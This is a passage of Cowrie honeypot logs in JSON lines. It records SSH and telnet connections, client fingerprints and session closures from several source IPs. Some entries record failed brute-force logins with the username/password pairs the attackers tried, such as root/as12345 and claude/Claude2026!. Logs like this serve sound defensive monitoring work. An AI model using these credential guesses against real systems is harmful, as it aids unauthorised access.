{"eventid":"cowrie.session.closed","duration":0.006702899932861328,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:56.207608Z","src_ip":"192.119.13.58","session":"3a6283bc7688","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.547473430633545,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:57.045976Z","src_ip":"192.119.13.58","session":"0bc0b45de528","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":35104,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a2e03a767b2","protocol":"ssh","message":"New connection: 103.27.238.114:35104 (159.203.135.109:22) [session: 2a2e03a767b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:57.419710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:57.431679Z","src_ip":"103.27.238.114","session":"2a2e03a767b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:57.693646Z","src_ip":"103.27.238.114","session":"2a2e03a767b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4815162342q","message":"login attempt [root/4815162342q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:58.464845Z","src_ip":"103.27.238.114","session":"2a2e03a767b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:59:59.723068Z","src_ip":"103.27.238.114","session":"2a2e03a767b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.79836583137512,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:00.731734Z","src_ip":"192.119.13.58","session":"a1ee4ab489c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":56862,"dst_ip":"10.17.0.5","dst_port":22,"session":"77f85659e4c9","protocol":"ssh","message":"New connection: 193.32.162.145:56862 (10.17.0.5:22) [session: 77f85659e4c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:04.501956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:04.509429Z","src_ip":"193.32.162.145","session":"77f85659e4c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:04.616577Z","src_ip":"193.32.162.145","session":"77f85659e4c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"degen","password":"degen","message":"login attempt [degen/degen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:04.943882Z","src_ip":"193.32.162.145","session":"77f85659e4c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:06.058680Z","src_ip":"193.32.162.145","session":"77f85659e4c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.82082223892212,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:06.428348Z","src_ip":"192.119.13.58","session":"0eef8e6e0ed3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38916,"dst_ip":"10.17.0.5","dst_port":23,"session":"f197b4bfb786","protocol":"telnet","message":"New connection: 192.119.13.58:38916 (10.17.0.5:23) [session: f197b4bfb786]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:10.803677Z"}
{"eventid":"cowrie.session.closed","duration":42.85959792137146,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:11.445345Z","src_ip":"192.119.13.58","session":"c8eae3ecdab8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.551772117614746,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:17.820214Z","src_ip":"192.119.13.58","session":"a3b34f3188d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.615973234176636,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:18.610378Z","src_ip":"192.119.13.58","session":"5fe605bb9f21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":54490,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae8736dade17","protocol":"ssh","message":"New connection: 194.113.233.25:54490 (159.203.135.109:22) [session: ae8736dade17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:21.856481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:21.868253Z","src_ip":"194.113.233.25","session":"ae8736dade17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:21.961968Z","src_ip":"194.113.233.25","session":"ae8736dade17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k.","message":"login attempt [root/k.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:22.241881Z","src_ip":"194.113.233.25","session":"ae8736dade17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:23.352502Z","src_ip":"194.113.233.25","session":"ae8736dade17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40980,"dst_ip":"10.17.0.5","dst_port":23,"session":"62313ea7a790","protocol":"telnet","message":"New connection: 192.119.13.58:40980 (10.17.0.5:23) [session: 62313ea7a790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:32.033235Z"}
{"eventid":"cowrie.session.closed","duration":0.0064465999603271484,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:32.039530Z","src_ip":"192.119.13.58","session":"62313ea7a790","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.33406925201416,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:33.571197Z","src_ip":"192.119.13.58","session":"e241bfd75a0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.71462035179138,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:33.829720Z","src_ip":"192.119.13.58","session":"18a3c7591bf6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36254,"dst_ip":"10.17.0.5","dst_port":23,"session":"35427af041c7","protocol":"telnet","message":"New connection: 192.119.13.58:36254 (10.17.0.5:23) [session: 35427af041c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:38.835701Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40914,"dst_ip":"10.17.0.5","dst_port":23,"session":"58fb43ec24a1","protocol":"telnet","message":"New connection: 192.119.13.58:40914 (10.17.0.5:23) [session: 58fb43ec24a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:39.042199Z"}
{"eventid":"cowrie.session.closed","duration":1.9874894618988037,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:40.823034Z","src_ip":"192.119.13.58","session":"35427af041c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":60134,"dst_ip":"10.17.0.5","dst_port":22,"session":"40caec881c34","protocol":"ssh","message":"New connection: 45.78.204.254:60134 (10.17.0.5:22) [session: 40caec881c34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:42.258638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:42.274540Z","src_ip":"45.78.204.254","session":"40caec881c34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:43.979168Z","src_ip":"45.78.204.254","session":"40caec881c34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"Claude2026!","message":"login attempt [claude/Claude2026!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:45.875239Z","src_ip":"45.78.204.254","session":"40caec881c34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.145.164.82","src_port":52500,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d02baf2d5fa","protocol":"ssh","message":"New connection: 118.145.164.82:52500 (10.17.0.5:22) [session: 1d02baf2d5fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:45.992379Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:46.237872Z","src_ip":"118.145.164.82","session":"1d02baf2d5fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:47.122915Z","src_ip":"45.78.204.254","session":"40caec881c34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":48530,"dst_ip":"10.17.0.5","dst_port":22,"session":"01124ec6d5b7","protocol":"ssh","message":"New connection: 103.173.227.57:48530 (10.17.0.5:22) [session: 01124ec6d5b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:49.772227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:49.777885Z","src_ip":"103.173.227.57","session":"01124ec6d5b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:50.018054Z","src_ip":"103.173.227.57","session":"01124ec6d5b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"as12345","message":"login attempt [root/as12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:50.742420Z","src_ip":"103.173.227.57","session":"01124ec6d5b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:51.984780Z","src_ip":"103.173.227.57","session":"01124ec6d5b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.692885875701904,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:53.496439Z","src_ip":"192.119.13.58","session":"f197b4bfb786","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55898,"dst_ip":"10.17.0.5","dst_port":23,"session":"d43576e7948d","protocol":"telnet","message":"New connection: 192.119.13.58:55898 (10.17.0.5:23) [session: d43576e7948d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:00:57.266865Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56464,"dst_ip":"10.17.0.5","dst_port":23,"session":"c95bce0185d6","protocol":"telnet","message":"New connection: 192.119.13.58:56464 (10.17.0.5:23) [session: c95bce0185d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:03.391134Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43762,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fd17b8efec6","protocol":"telnet","message":"New connection: 192.119.13.58:43762 (10.17.0.5:23) [session: 7fd17b8efec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:07.072682Z"}
{"eventid":"cowrie.session.closed","duration":0.006041288375854492,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:07.078576Z","src_ip":"192.119.13.58","session":"7fd17b8efec6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46152,"dst_ip":"10.17.0.5","dst_port":23,"session":"2aa54a8ec6b9","protocol":"telnet","message":"New connection: 192.119.13.58:46152 (10.17.0.5:23) [session: 2aa54a8ec6b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:07.642205Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33466,"dst_ip":"10.17.0.5","dst_port":23,"session":"487e6284994a","protocol":"telnet","message":"New connection: 192.119.13.58:33466 (10.17.0.5:23) [session: 487e6284994a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:11.333239Z"}
{"eventid":"cowrie.session.closed","duration":0.006806373596191406,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:11.339875Z","src_ip":"192.119.13.58","session":"487e6284994a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38178,"dst_ip":"10.17.0.5","dst_port":23,"session":"24cca15e1024","protocol":"telnet","message":"New connection: 192.119.13.58:38178 (10.17.0.5:23) [session: 24cca15e1024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:12.432248Z"}
{"eventid":"cowrie.session.closed","duration":36.14934325218201,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:15.191427Z","src_ip":"192.119.13.58","session":"58fb43ec24a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58692,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d3ab3297609","protocol":"telnet","message":"New connection: 192.119.13.58:58692 (10.17.0.5:23) [session: 6d3ab3297609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:17.038982Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":40986,"dst_ip":"10.17.0.5","dst_port":22,"session":"b929fb3a9215","protocol":"ssh","message":"New connection: 94.159.98.239:40986 (10.17.0.5:22) [session: b929fb3a9215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:19.005155Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37954,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dc113347086","protocol":"telnet","message":"New connection: 192.119.13.58:37954 (10.17.0.5:23) [session: 3dc113347086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:19.165380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:01:19.214018Z","src_ip":"94.159.98.239","session":"b929fb3a9215","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nist